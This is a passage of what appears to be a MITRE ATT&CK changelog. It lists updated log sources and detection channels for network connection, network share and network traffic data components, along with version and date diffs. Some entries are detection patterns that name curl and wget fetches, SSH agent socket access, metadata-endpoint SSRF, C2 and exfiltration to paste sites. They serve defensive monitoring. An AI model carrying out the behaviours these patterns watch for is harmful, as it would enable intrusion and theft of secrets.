'macos:unifiedlog', 'channel': 'network connection events'}, {'name': 'esxi:vmkernel', 'channel': 'protocol egress'}, {'name': 'NSM:Flow', 'channel': 'Outbound connection to *.tunnels.api.visualstudio.com or *.devtunnels.ms'}, {'name': 'NSM:Flow', 'channel': 'Connections to *.devtunnels.ms or tunnels.api.visualstudio.com'}, {'name': 'NSM:Flow', 'channel': 'HTTPs connection to tunnels.api.visualstudio.com'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=5156'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=5156,5157'}, {'name': 'linux:osquery', 'channel': 'family=AF_PACKET or protocol raw; process name not in allowlist.'}, {'name': 'macos:unifiedlog', 'channel': 'First outbound connection from the same PID/user shortly after an inbound trigger.'}, {'name': 'NSM:Flow', 'channel': 'Outbound or inbound TFTP file transfers of ROMMON or firmware binaries'}, {'name': 'NSM:Connections', 'channel': 'Outbound connections from newly spawned child processes or from the browser to uncommon endpoints or on anomalous ports'}, {'name': 'NSM:Flow', 'channel': 'connection: TCP connections to ports 139/445 to multiple hosts'}, {'name': 'NSM:Flow', 'channel': 'connection: SMB connections to multiple internal hosts'}, {'name': 'auditd:SYSCALL', 'channel': 'connect/sendto'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_CONNECT'}, {'name': 'snmp:access', 'channel': 'GETBULK/GETNEXT requests for OIDs associated with configuration parameters'}, {'name': 'esxi:hostd', 'channel': 'Service initiated connections'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Large transfer volume (>20MB) from RDS IP range to external public IPs'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'High outbound traffic from new region resource'}, {'name': 'NSM:Flow', 'channel': 'Outbound HTTP/S initiated by newly installed interpreter process'}, {'name': 'auditd:SYSCALL', 'channel': 'open or connect syscalls on /tmp/ssh-* or $SSH_AUTH_SOCK'}, {'name': 'NSM:Flow', 'channel': 'outbound connections to RMM services or to unusual destination ports'}, {'name': 'macos:unifiedlog', 'channel': 'network sessions initiated by remote desktop apps'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Outbound connections to port 22, 3389'}, {'name': 'auditd:SYSCALL', 'channel': 'socket/connect with TLS context by unexpected process'}, {'name': 'NSM:Flow', 'channel': "Multiple failed connections (conn_state=REJ/S0 or history has 'R') across distinct ports from the same src_ip followed by success to a specific port."}, {'name': 'auditd:SYSCALL', 'channel': 'socket/bind: New bind() to a previously closed port shortly after the sequence.'}, {'name': 'NSM:Flow', 'channel': 'Sequence of REJ/S0 then SF success from same src_ip within TimeWindow.'}, {'name': 'NSM:Flow', 'channel': 'Series of denied/closed flows to distinct ports then success to mgmt port from same src_ip within TimeWindow.'}, {'name': 'NSM:Flow', 'channel': 'Outbound traffic spike through formerly blocked ports/subnets following config change'}, {'name': 'cni:netflow', 'channel': 'outbound connection to internal or external APIs'}, {'name': 'macos:osquery', 'channel': 'launchd or network_events'}, {'name': 'networkdevice:syslog', 'channel': 'Dynamic route changes'}, {'name': 'NSM:Flow', 'channel': 'New egress to Internet by the same UID/host shortly after terminal exec'}, {'name': 'NSM:Flow', 'channel': 'connection: Inbound connections to SSH or VPN ports'}, {'name': 'macos:unifiedlog', 'channel': 'Inbound connections to VNC/SSH ports'}, {'name': 'NSM:Flow', 'channel': 'External access to container ports (2375, 6443)'}, {'name': 'linux:syslog', 'channel': 'network'}, {'name': 'macos:osquery', 'channel': 'process_events + launchd'}, {'name': 'esxi:esxupdate', 'channel': '/var/log/esxupdate.log or /var/log/vmksummary.log'}, {'name': 'ebpf:syscalls', 'channel': 'socket connect'}, {'name': 'NSM:Flow', 'channel': 'remote access'}, {'name': 'NSM:Flow', 'channel': 'Outbound Connections'}, {'name': 'macos:unifiedlog', 'channel': 'network'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Traffic observed on mirror destination instance'}, {'name': 'networkdevice:Flow', 'channel': 'Traffic from mirrored interface to mirror target IP'}, {'name': 'linux:Sysmon', 'channel': 'EventCode=3'}, {'name': 'macos:osquery', 'channel': 'process_events, socket_events'}, {'name': 'esxi:vmkernel', 'channel': 'network activity'}, {'name': 'NSM:Flow', 'channel': 'connection attempts'}, {'name': 'NSM:Flow', 'channel': 'High-volume or repeated SNMP GETBULK/GETNEXT queries from untrusted or external IPs'}, {'name': 'auditd:SYSCALL', 'channel': 'sendto/connect'}, {'name': 'NSM:Flow', 'channel': 'outbound connections from host during or immediately after image build'}, {'name': 'macos:unifiedlog', 'channel': 'Outbound Traffic'}, {'name': 'esxi:hostd', 'channel': 'Service-Based Network Connection'}, {'name': 'linux:syslog', 'channel': 'postfix/smtpd'}, {'name': 'NSM:Flow', 'channel': 'new outbound connection from browser/office lineage'}, {'name': 'NSM:Flow', 'channel': 'new outbound connection from exploited lineage'}, {'name': 'macos:osquery', 'channel': 'CONNECT: Long-lived connections from remote-control parents to external IPs/domains'}, {'name': 'auditd:SYSCALL', 'channel': 'outbound connections'}, {'name': 'macos:unifiedlog', 'channel': 'None'}, {'name': 'esxi:vmkernel', 'channel': 'None'}, {'name': 'macos:unifiedlog', 'channel': 'networkd or socket'}, {'name': 'macos:unifiedlog', 'channel': 'log stream network activity'}, {'name': 'NSM:Flow', 'channel': "Multiple failed connections to closed ports (history contains 'R' or conn_state in {REJ, S0}) followed by a successful handshake to a new port from same src within TimeWindowKnock"}, {'name': 'auditd:SYSCALL', 'channel': 'socket/bind: Process binds to a new local port shortly after knock'}, {'name': 'NSM:Flow', 'channel': 'Closed-port hits followed by success from same src_ip'}, {'name': 'NSM:Flow', 'channel': 'Port-knock pattern from one src to device unicast,broadcast,network addresses on same port within TimeWindowKnock'}, {'name': 'WinEventLog:Microsoft-Windows-WLAN-AutoConfig', 'channel': '8001, 8002, 8003'}, {'name': 'linux:syslog', 'channel': 'New Wi-Fi connection established or repeated association failures'}, {'name': 'macos:unifiedlog', 'channel': 'Association and authentication events including failures and new SSIDs'}, {'name': 'auditd:SYSCALL', 'channel': 'socket/connect calls showing SSH processes forwarding arbitrary ports'}, {'name': 'esxi:vmkernel', 'channel': 'network session initiation with external HTTPS services'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=8001'}, {'name': 'linux:syslog', 'channel': 'None'}, {'name': 'macos:osquery', 'channel': 'None'}, {'name': 'auditd:SYSCALL', 'channel': 'openat,connect -k discovery'}, {'name': 'NSM:Flow', 'channel': 'Unexpected inbound/outbound TFTP traffic for device image files'}, {'name': 'NSM:Flow', 'channel': 'Unexpected or unauthorized inbound connections to SNMP, NETCONF, or RESTCONF services'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--c000cd5c-bbb3-4606-af6f-6c6d9de0bbe3
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:11:23.639000+00:002025-10-21 15:14:34.190000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.22.0

[DC0102] Network Share Access

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0102', 'external_id': 'DC0102'}]
x_mitre_log_sources[{'name': 'Network Share', 'channel': 'None'}, {'name': 'WinEventLog:Microsoft-Windows-SMBClient/Security', 'channel': 'EventID=31001'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=5140'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=5145'}, {'name': 'WinEventLog:Microsoft-Windows-SMBServer', 'channel': 'Access to SYSVOL share from non-admin user or unusual endpoints'}, {'name': 'NSM:Flow', 'channel': 'smb_files.log'}, {'name': 'm365:unified', 'channel': 'FileUploaded, FileAccessed'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--ba27545a-9c32-47ea-ba6a-cce50f1b326e
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:10:01.621000+00:002025-10-21 15:14:37.412000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0085] Network Traffic Content

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0085', 'external_id': 'DC0085'}]
x_mitre_log_sources[{'name': 'Network Traffic', 'channel': 'None'}, {'name': 'ebpf:syscalls', 'channel': 'Process within container accesses link-local address 169.254.169.254'}, {'name': 'WebProxy:AccessLogs', 'channel': 'SSRF-like patterns accessing metadata endpoint through proxy (e.g., Host: 169.254.169.254)'}, {'name': 'NSM:Flow', 'channel': 'mqtt.log / xmpp.log (custom log feeds)'}, {'name': 'NSM:Flow', 'channel': 'mqtt.log or AMQP custom log'}, {'name': 'NSM:Flow', 'channel': 'mqtt.log, xmpp.log, amqp.log'}, {'name': 'networkdevice:syslog', 'channel': 'ACL/Firewall rule modification or new route injection'}, {'name': 'm365:office', 'channel': 'External HTTP/DNS connection from Office binary shortly after macro trigger'}, {'name': 'NSM:Flow', 'channel': 'TCP/UDP'}, {'name': 'NSM:Flow', 'channel': 'TCP session tracking'}, {'name': 'NSM:Flow', 'channel': 'Captured packet payloads'}, {'name': 'NSM:Flow', 'channel': 'session behavior'}, {'name': 'esxi:vmkernel', 'channel': 'Network activity'}, {'name': 'NSM:Flow', 'channel': 'External C2 channel over TLS'}, {'name': 'NSM:Flow', 'channel': 'http/file-xfer: Inbound/outbound transfer of ELF shared objects'}, {'name': 'NSM:Flow', 'channel': 'http.log, files.log'}, {'name': 'NSM:Flow', 'channel': 'unexpected network activity initiated shortly after shell session starts'}, {'name': 'NSM:Flow', 'channel': 'HTTP/WebDAV requests that contain NTLMSSP or PROPFIND/MOVE/OPTIONS with Authorization: NTLM'}, {'name': 'NSM:Flow', 'channel': 'http.log, ssl.log'}, {'name': 'NSM:Flow', 'channel': 'http.log, conn.log'}, {'name': 'NSM:Flow', 'channel': 'SPAN or port-mirrored HTTP/S'}, {'name': 'NSM:Flow', 'channel': 'http.log, ssl.log, websocket.log'}, {'name': 'macos:unifiedlog', 'channel': 'process + network metrics correlation for bandwidth saturation'}, {'name': 'docker:stats', 'channel': 'unusual network TX/RX byte deltas'}, {'name': 'etw:Microsoft-Windows-WinINet', 'channel': 'HTTPS Inspection'}, {'name': 'NSM:Flow', 'channel': 'ssl.log'}, {'name': 'linux:syslog', 'channel': 'Query to suspicious domain with high entropy or low reputation'}, {'name': 'macos:unifiedlog', 'channel': 'DNS query with pseudo-random subdomain patterns'}, {'name': 'azure:vpcflow', 'channel': 'HTTP requests to 169.254.169.254 or Azure Metadata endpoints'}, {'name': 'NSM:Flow', 'channel': 'Browser connections to known C2 or dynamic DNS domains'}, {'name': 'NSM:Flow', 'channel': 'Session History Reset'}, {'name': 'NSM:Flow', 'channel': 'HTTP '}, {'name': 'macos:unifiedlog', 'channel': 'network flow'}, {'name': 'linux:syslog', 'channel': 'curl|wget|python .*http'}, {'name': 'macos:unifiedlog', 'channel': 'curl|osascript.*open location'}, {'name': 'NSM:Flow', 'channel': 'query: High-volume LDAP traffic with filters targeting groupPolicyContainer attributes'}, {'name': 'etw:Microsoft-Windows-NDIS-PacketCapture', 'channel': 'TLS Handshake/Network Flow'}, {'name': 'NSM:Flow', 'channel': 'HTTP/TLS Logs'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem: com.apple.network'}, {'name': 'linux:syslog', 'channel': 'Unexpected SQL or application log entries showing tampered or malformed data'}, {'name': 'EDR:hunting', 'channel': 'Advanced Hunting: DeviceProcessEvents + DeviceNetworkEvents'}, {'name': 'NSM:Flow', 'channel': 'Suspicious URL patterns, uncommon TLDs, short-lived domains, URL shorteners; HTTP method GET/POST'}, {'name': 'NSM:Flow', 'channel': 'Suspicious URL patterns, uncommon TLDs, URL shorteners'}, {'name': 'macos:unifiedlog', 'channel': 'open URL|clicked link|LSQuarantineAttach'}, {'name': 'NSM:Flow', 'channel': 'Suspicious GET/POST; downloader patterns'}, {'name': 'NSM:Flow', 'channel': 'SSH logins or scp activity'}, {'name': 'NSM:Flow', 'channel': 'remote login and transfer'}, {'name': 'esxi:vob', 'channel': 'NFS/remote access logs'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Traffic between instances'}, {'name': 'NSM:Flow', 'channel': 'conn.log'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=5005 (WLAN), EventCode=302 (Bluetooth)'}, {'name': 'macos:unifiedlog', 'channel': 'None'}, {'name': 'NSM:Flow', 'channel': 'Suspicious long-lived or reattached remote desktop sessions from unexpected IPs'}, {'name': 'NSM:Flow', 'channel': 'HTTP payloads with SQLi/LFI/JNDI/deserialization indicators'}, {'name': 'NSM:Flow', 'channel': 'outbound egress from web host after suspicious request'}, {'name': 'NSM:Flow', 'channel': 'Requests towards cloud metadata or command & control from pod IPs'}, {'name': 'ALB:HTTPLogs', 'channel': 'AWS ALB/ELB/GCP/Azure Application Gateway HTTP logs with unusual methods, long URIs, serialized payloads, 4xx/5xx bursts'}, {'name': 'NSM:Flow', 'channel': 'Connections to TCP 427 (SLP) or vCenter web services from untrusted sources'}, {'name': 'NSM:Flow', 'channel': 'NetFlow/sFlow for odd egress to Internet from mgmt plane'}, {'name': 'NSM:Flow', 'channel': 'packet capture or DPI logs'}, {'name': 'NSM:Flow', 'channel': 'http.log'}, {'name': 'NSM:Flow', 'channel': 'SMB2_LOGOFF/SMB_TREE_DISCONNECT'}, {'name': 'macos:unifiedlog', 'channel': 'Connections to suspicious domains with mismatched certificate or unusual patterns'}, {'name': 'NSM:Flow', 'channel': 'Unusual Base64-encoded content in URI, headers, or POST body'}, {'name': 'NSM:Flow', 'channel': 'Base64 strings or gzip in URI, headers, or POST body'}, {'name': 'macos:unifiedlog', 'channel': 'HTTP POST with encoded content in user-agent or cookie field'}, {'name': 'esxi:vmkernel', 'channel': 'Outbound traffic using encoded payloads post-login'}, {'name': 'macos:unifiedlog', 'channel': 'Suspicious outbound HTTPS requests to domains flagged as newly registered or untrusted after spearphishing message interaction'}, {'name': 'NSM:Flow', 'channel': 'Inbound connections to 445, 3389, 5985-5986 with high error/connection-reset rate, followed by new outbound sessions from the same host to internal assets within short interval.'}, {'name': 'NSM:Flow', 'channel': 'Inbound connections to monitored service ports from external or unusual internal sources; rapid follow-on lateral connections from the same host.'}, {'name': 'NSM:Flow', 'channel': 'Inbound to tcp/427 (OpenSLP), tcp/443 (vSphere APIs), tcp/902, tcp/5989 followed by new unexpected outbound sessions from the ESXi/vCenter host.'}, {'name': 'NSM:Flow', 'channel': 'Inbound to 22/5900/8080 and follow-on internal connections.'}, {'name': 'NSM:Flow', 'channel': 'http: HTTP body or headers contain long Base64 sections; gzip/deflate + Base64'}, {'name': 'NSM:Flow', 'channel': 'http: HTTP body contains long Base64 sections'}, {'name': 'NSM:Flow', 'channel': 'http: Base64/MIME looking payloads from ESXi host IP'}, {'name': 'NSM:Flow', 'channel': 'LDAP Bind/Search'}, {'name': 'NSM:Flow', 'channel': 'LDAP Query'}, {'name': 'macos:unifiedlog', 'channel': 'log stream (subsystem: com.apple.system.networking)'}, {'name': 'NSM:Flow', 'channel': 'smtp.log'}, {'name': 'NSM:Flow', 'channel': 'smtp.log, conn.log'}, {'name': 'NSM:Flow', 'channel': 'remote CLI session detection'}, {'name': 'macos:unifiedlog', 'channel': 'Encrypted connection with anomalous payload entropy'}, {'name': 'esxcli:network', 'channel': 'Socket sessions with randomized payloads inconsistent with TLS'}, {'name': 'NSM:Connections', 'channel': 'Symmetric encryption detected without TLS handshake sequence'}, {'name': 'NSM:Flow', 'channel': 'http.log, ftp.log'}, {'name': 'NSM:Flow', 'channel': 'PCAP inspection'}, {'name': 'NSM:Flow', 'channel': 'large HTTPS POST requests to webhook endpoints'}, {'name': 'esxi:vmkernel', 'channel': 'HTTPS POST connections to webhook endpoints'}, {'name': 'NSM:Flow', 'channel': 'Single, low-volume inbound packet (REJ/S0/OTH or uncommon dport/protocol) from src_ip followed by outbound SF connection to src_ip.'}, {'name': 'NSM:Flow', 'channel': 'Rare inbound packet characteristics (ICMP/UDP/TCP to uncommon port) from src_ip followed ≤TimeWindow by outbound SF from same host to src_ip.'}, {'name': 'NSM:Flow', 'channel': 'Inbound one-off packet to uncommon port → outbound SF to same src_ip within TimeWindow.'}, {'name': 'networkdevice:config', 'channel': 'NAT table modification (add/update/delete rule)'}, {'name': 'NSM:Flow', 'channel': 'large upload to firmware interface port or path'}, {'name': 'macos:unifiedlog', 'channel': 'Rapid incoming TLS handshakes or HTTP requests in quick succession'}, {'name': 'NSM:Flow', 'channel': 'http.request: HTTP requests and responses for specific script resources, unexpected content-types (application/octet-stream for script URLs), suspicious referrers, or obfuscated javascript resources'}, {'name': 'NSM:Flow', 'channel': 'http::response: HTTP responses with suspicious content-type for scripts, long obfuscated javascript bodies, or redirects to exploit kit domains'}, {'name': 'NSM:Flow', 'channel': 'HTTP/HTTPS requests for script resources flagged by content inspection (excessive obfuscation, eval usage, unusual redirects)'}, {'name': 'NSM:Connections', 'channel': 'TLS handshake + HTTP headers'}, {'name': 'NSM:Flow', 'channel': 'ssl.log + http.log'}, {'name': 'macos:unifiedlog', 'channel': 'network, socket, and http logs'}, {'name': 'NSM:Firewall', 'channel': 'TLS/HTTP inspection'}, {'name': 'NSM:Flow', 'channel': 'http/file-xfer: Outbound transfer of large video-like MIME types soon after capture'}, {'name': 'container:proxy', 'channel': 'outbound/inbound network activity from spawned pods'}, {'name': 'esxcli:network', 'channel': 'listening sockets bound to non-standard ports'}, {'name': 'NSM:Flow', 'channel': 'Outbound SCP, TFTP, or FTP sessions carrying configuration file content'}, {'name': 'NSM:Flow', 'channel': 'Session Transfer Content'}, {'name': 'NSM:Flow', 'channel': 'Captured File Content'}, {'name': 'NSM:Flow', 'channel': 'C2 exfiltration'}, {'name': 'NSM:Flow', 'channel': 'Transferred file observations'}, {'name': 'apache:access_log', 'channel': "Unusual HTTP POST or PUT requests to paths such as '/uploads/', '/admin/', or CMS plugin folders"}, {'name': 'NSM:Flow', 'channel': 'http::post: Outbound HTTP POST from host shortly after DB export activity'}, {'name': 'NSM:Flow', 'channel': 'HTTPS API requests to Dropbox, iCloud, Google Drive, OneDrive shortly after DB tool usage'}, {'name': 'NSM:Flow', 'channel': 'Observed downgrade in negotiated cipher suites or TLS/SSH versions across sessions'}, {'name': 'NSM:Flow', 'channel': 'New egress from container IP/namespace to Internet or non-approved CIDRs/ASNs'}, {'name': 'NSM:Flow', 'channel': 'New VM egress to crypto-mining pools or non-approved Internet ranges within minutes of boot'}, {'name': 'docker:events', 'channel': 'remote API calls to /containers/create or /containers/{id}/start'}, {'name': 'NSM:Flow', 'channel': 'http::request: Network connection to package registry or C2 from interpreter shortly after install'}, {'name': 'linux:syslog', 'channel': 'Integrity mismatch warnings or malformed packets detected'}, {'name': 'NSM:Flow', 'channel': 'http::request: Outbound HTTP initiated by Python interpreter'}, {'name': 'WinEventLog:Sysmon', 'channel': 'Outbound requests with forged tokens/cookies in headers'}, {'name': 'linux:syslog', 'channel': 'DNS response IPs followed by connections to non-standard calculated ports'}, {'name': 'macos:unifiedlog', 'channel': 'DNS responses followed by connections to ports outside standard ranges'}, {'name': 'macos:unifiedlog', 'channel': 'Persistent outbound traffic to mining domains'}, {'name': 'macos:unifiedlog', 'channel': 'Encrypted session initiation by unexpected binary'}, {'name': 'esxi:vmkernel', 'channel': 'Inspection of sockets showing encrypted sessions from non-baseline processes'}, {'name': 'NSM:Connections', 'channel': 'Abnormal certificate chains or non-standard ports carrying TLS'}, {'name': 'NSM:Flow', 'channel': 'DrsAddEntry, DrsReplicaAdd, GetNCChanges calls between non-DC and DCs.'}, {'name': 'NSM:Flow', 'channel': 'large HTTPS POST requests to text storage domains'}, {'name': 'esxi:vmkernel', 'channel': 'HTTPS POST connections to pastebin-like domains'}, {'name': 'NSM:Flow', 'channel': 'Unexpected ARP replies or DNS responses inconsistent with authoritative servers'}, {'name': 'NSM:Flow', 'channel': 'TLS downgrade or inconsistent DNS answers'}, {'name': 'NSM:Flow', 'channel': 'Unusual request pattern leading up to service crash (e.g., malformed or oversized payload)'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Large volume of malformed or synthetic payloads to application endpoints prior to failure'}, {'name': 'networkconfig ', 'channel': 'interface flag PROMISC, netstat | ip link | ethtool'}, {'name': 'macos:unifiedlog', 'channel': "eventMessage = 'promiscuous'"}, {'name': 'networkdevice:syslog', 'channel': 'config change (e.g., logging buffered, pcap buffers)'}, {'name': 'macos:unifiedlog', 'channel': 'outbound HTTPS connections to code repository APIs'}, {'name': 'azure:activity', 'channel': 'networkInsightsLogs'}, {'name': 'gcp:audit', 'channel': 'network.query*'}, {'name': 'WinEventLog:Microsoft-Windows-Windows Defender/Operational', 'channel': 'Unusual external domain access'}, {'name': 'NSM:Flow', 'channel': 'conn.log or http.log'}, {'name': 'NSM:Flow', 'channel': 'http: HTTP bodies/headers contain long tokens with non-standard alphabets or constant-size periodic POSTs'}, {'name': 'NSM:Flow', 'channel': 'dns: DNS labels with excessive length and restricted custom alphabets (e.g., base36 only) repeated frequently'}, {'name': 'NSM:Flow', 'channel': 'http: suspicious long tokens with custom alphabets in body/headers'}, {'name': 'NSM:Flow', 'channel': 'http: HTTP bodies from ESXi host IPs containing long, non-standard tokens'}, {'name': 'NSM:Flow', 'channel': 'Traffic patterns showing downgrade from strong encryption (AES-256) to weaker or plaintext protocols'}, {'name': 'NSM:Flow', 'channel': 'HTTP(S) requests with User-Agents typical of PowerShell or curl from desktop; or URIs matching paste-inspired payload hosts'}, {'name': 'NSM:Flow', 'channel': 'Egress to non-approved networks from host after terminal exec'}, {'name': 'NSM:Flow', 'channel': 'Flow/PCAP analysis for outbound payloads'}, {'name': 'NSM:Flow', 'channel': 'conn.log + files.log + ssl.log'}, {'name': 'macos:unifiedlog', 'channel': "eventMessage = 'open', 'sendto', 'connect'"}, {'name': 'NSM:Flow', 'channel': 'HTTPS or custom protocol traffic with large payloads'}, {'name': 'esxi:vmkernel', 'channel': 'network stack module logs'}, {'name': 'NSM:Flow', 'channel': 'Unexpected script or binary content returned in HTTP response body'}, {'name': 'NSM:Flow', 'channel': 'Injected content responses with unexpected script/malware signatures'}, {'name': 'NSM:Flow', 'channel': 'Content injection observed in HTTPS responses with mismatched certificates or altered payloads'}, {'name': 'NSM:Firewall', 'channel': 'High rate of inbound TCP SYN or ACK packets with missing 3-way handshake completion'}, {'name': 'NSM:Firewall', 'channel': 'Anomalous TCP SYN or ACK spikes from specific source or interface'}, {'name': 'saas:confluence', 'channel': 'REST API access from non-browser agents'}, {'name': 'Netfilter/iptables', 'channel': 'Forwarded packets log'}, {'name': 'NSM:Flow', 'channel': 'Relay patterns across IP hops'}, {'name': 'NSM:Firewall', 'channel': 'Outbound encrypted traffic'}, {'name': 'NSM:Flow', 'channel': 'ldap.log'}, {'name': 'macos:unifiedlog', 'channel': 'dns-sd, mDNSResponder, socket activity'}, {'name': 'networkdevice:IDS', 'channel': 'content inspection / PCAP / HTTP body'}, {'name': 'NSM:Flow', 'channel': 'Probe responses from unauthorized APs responding to client probe requests'}, {'name': 'auditd:SYSCALL', 'channel': 'setsockopt, ioctl modifying ARP entries'}, {'name': 'NSM:Flow', 'channel': 'Excessive gratuitous ARP replies on local subnet'}, {'name': 'NSM:Flow', 'channel': 'Inbound HTTP POST with suspicious payload size or user-agent'}, {'name': 'NSM:Flow', 'channel': 'POST requests to .php, .jsp, .aspx files with high entropy body'}, {'name': 'NSM:Flow', 'channel': 'dns.log'}, {'name': 'NSM:FLow', 'channel': 'dns.log'}, {'name': 'NSM:Flow', 'channel': 'Encrypted tunnels or proxy traffic to non-standard destinations'}, {'name': 'esxi:vmkernel', 'channel': 'Suspicious traffic filtered or redirected by VM networking stack'}, {'name': 'NSM:Flow', 'channel': 'large transfer from management IPs to unauthorized host'}, {'name': 'NSM:Flow', 'channel': 'Sustained abnormal inbound request rate targeting application ports (e.g., 80/443/25)'}, {'name': 'NSM:Flow', 'channel': 'ftp.log, smb_files.log'}, {'name': 'NSM:Flow', 'channel': 'ftp.log, conn.log'}, {'name': 'NSM:Flow', 'channel': 'mirror/SPAN port'}, {'name': 'NSM:Flow', 'channel': 'ftp.log, conn.log, smb_files.log'}, {'name': 'linux:syslog', 'channel': 'Multiple NXDOMAIN responses and high entropy domains'}, {'name': 'NSM:Flow', 'channel': 'SSL/TLS Inspection or PCAP'}, {'name': 'NSM:Flow', 'channel': 'conn.log, ssl.log'}, {'name': 'macos:unifiedlog', 'channel': 'process + network activity'}, {'name': 'NSM:Flow', 'channel': 'http, dns, smb, ssl logs'}, {'name': 'NSM:Flow', 'channel': 'dns, ssl, conn'}, {'name': 'NSM:Flow', 'channel': 'conn.log, http.log, dns.log, ssl.log'}, {'name': 'networkdevice:syslog', 'channel': 'Authentication failures, unexpected community string usage, or unauthorized SNMPv1/v2 requests'}, {'name': 'NSM:Flow', 'channel': 'ICMP/UDP traffic (Wireshark, Suricata, Zeek)'}, {'name': 'NSM:Flow', 'channel': 'icmp.log, weird.log'}, {'name': 'NSM:Flow', 'channel': 'ICMP/UDP monitoring (tcpdump, Wireshark, Zeek)'}, {'name': 'esxi:vmkernel', 'channel': 'VMCI syslog entries'}, {'name': 'NSM:Firewall', 'channel': 'ICMP/UDP protocol anomaly'}, {'name': 'NSM:Flow', 'channel': 'Unusual responses to LLMNR (UDP 5355) or NBT-NS (UDP 137) queries from unauthorized hosts'}, {'name': 'NSM:Flow', 'channel': 'DHCP OFFER or ACK with unauthorized DNS/gateway parameters'}, {'name': 'NSM:Flow', 'channel': 'Multiple DHCP OFFER responses for a single DISCOVER'}, {'name': 'NSM:Flow', 'channel': 'SSL/TLS Handshake Analysis'}, {'name': 'NSM:Flow', 'channel': 'HTTP Header Metadata'}, {'name': 'NSM:Flow', 'channel': 'Network Capture TLS/HTTP'}, {'name': 'NSM:Content', 'channel': 'SSL Certificate Metadata'}, {'name': 'NSM:Content', 'channel': 'HTTP Header Metadata'}, {'name': 'NSM:Content', 'channel': 'TLS Fingerprint and Certificate Analysis'}, {'name': 'NSM:Flow', 'channel': 'container egress to unknown IPs/domains'}, {'name': 'gcp:vpcflow', 'channel': 'first 5m egress to unknown ASNs'}, {'name': 'NSM:Flow', 'channel': 'HTTP Request Logging'}, {'name': 'WinEventLog:iis', 'channel': 'IIS Logs'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem=com.apple.WebKit'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Unusual volume of data transferred from S3 storage endpoints to non-corporate IPs'}, {'name': 'NSM:Flow', 'channel': 'ssh connections originating from third-party CIDRs'}, {'name': 'NSM:Flow', 'channel': 'ssh/smb connections to internal resources from third-party devices'}, {'name': 'NSM:Flow', 'channel': 'Degraded encryption throughput or switch to weaker cipher suites compared to historical baselines'}, {'name': 'NSM:Flow', 'channel': 'ssl.log (for TLS handshake analysis), dns.log (tunneling indicators)'}, {'name': 'NSM:Flow', 'channel': 'host switch egress data'}, {'name': 'NSM:Flow', 'channel': 'Outbound HTTP/S'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem: com.apple.WebKit or com.apple.WebKit.Networking'}, {'name': 'NSM:Flow', 'channel': 'ssl.log - Certificate Analysis'}, {'name': 'NSM:Flow', 'channel': 'ssl.log, conn.log'}, {'name': 'NSM:Flow', 'channel': 'ssl.log, x509.log'}, {'name': 'NSM:Flow', 'channel': 'Packets with unusual flags or payloads outside established flows (e.g., WoL magic FF×6 + 16×MAC)'}, {'name': 'WIDS:AssociationLogs', 'channel': 'Unauthorized AP or anomalous MAC address connection attempts'}, {'name': 'macos:unifiedlog', 'channel': 'encrypted outbound traffic carrying unexpected application data'}, {'name': 'esxcli:network', 'channel': 'listening sockets bound with non-standard encapsulated protocols'}, {'name': 'macos:unifiedlog', 'channel': 'Persistent outbound connections with consistent periodicity'}, {'name': 'macos:unifiedlog', 'channel': 'TLS connections with abnormal handshake sequence or self-signed cert'}, {'name': 'esxcli:network', 'channel': 'Socket inspection showing RSA key exchange outside baseline endpoints'}, {'name': 'IDS:TLSInspection', 'channel': 'Malformed certs, incomplete asymmetric handshakes, or invalid CAs'}, {'name': 'macos:unifiedlog', 'channel': 'Web server process initiating outbound TCP connections not tied to normal server traffic'}, {'name': 'macos:unifiedlog', 'channel': 'outbound TLS connections to cloud storage providers'}, {'name': 'saas:box', 'channel': 'API calls exceeding baseline thresholds'}, {'name': 'macos:unifiedlog', 'channel': 'outbound HTTPS connections to cloud storage APIs'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'High volume internal-to-internal IP transfer or cross-account cloud transfer'}, {'name': 'etw:Microsoft-Windows-WinINet', 'channel': 'WinINet API telemetry'}, {'name': 'macos:unifiedlog', 'channel': 'process, network'}, {'name': 'NSM:Connections', 'channel': 'Unusual POST requests to admin or upload endpoints'}, {'name': 'NSM:Flow', 'channel': 'Suspicious POSTs to upload endpoints'}, {'name': 'networkdevice:syslog', 'channel': 'Authentication failures or unusual community string usage in SNMP queries'}, {'name': 'API:ConfigRepoAudit', 'channel': 'Access to configuration repository endpoints, unusual enumeration requests or mass downloads'}, {'name': 'NSM:Content', 'channel': 'Traffic on RPC DRSUAPI'}, {'name': 'macos:unifiedlog', 'channel': "process = 'ssh' OR eventMessage CONTAINS 'ssh'"}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--c000cd5c-bbb3-4606-af6f-6c6d9de0bbe3
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:11:16.672000+00:002025-10-21 15:14:34.343000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

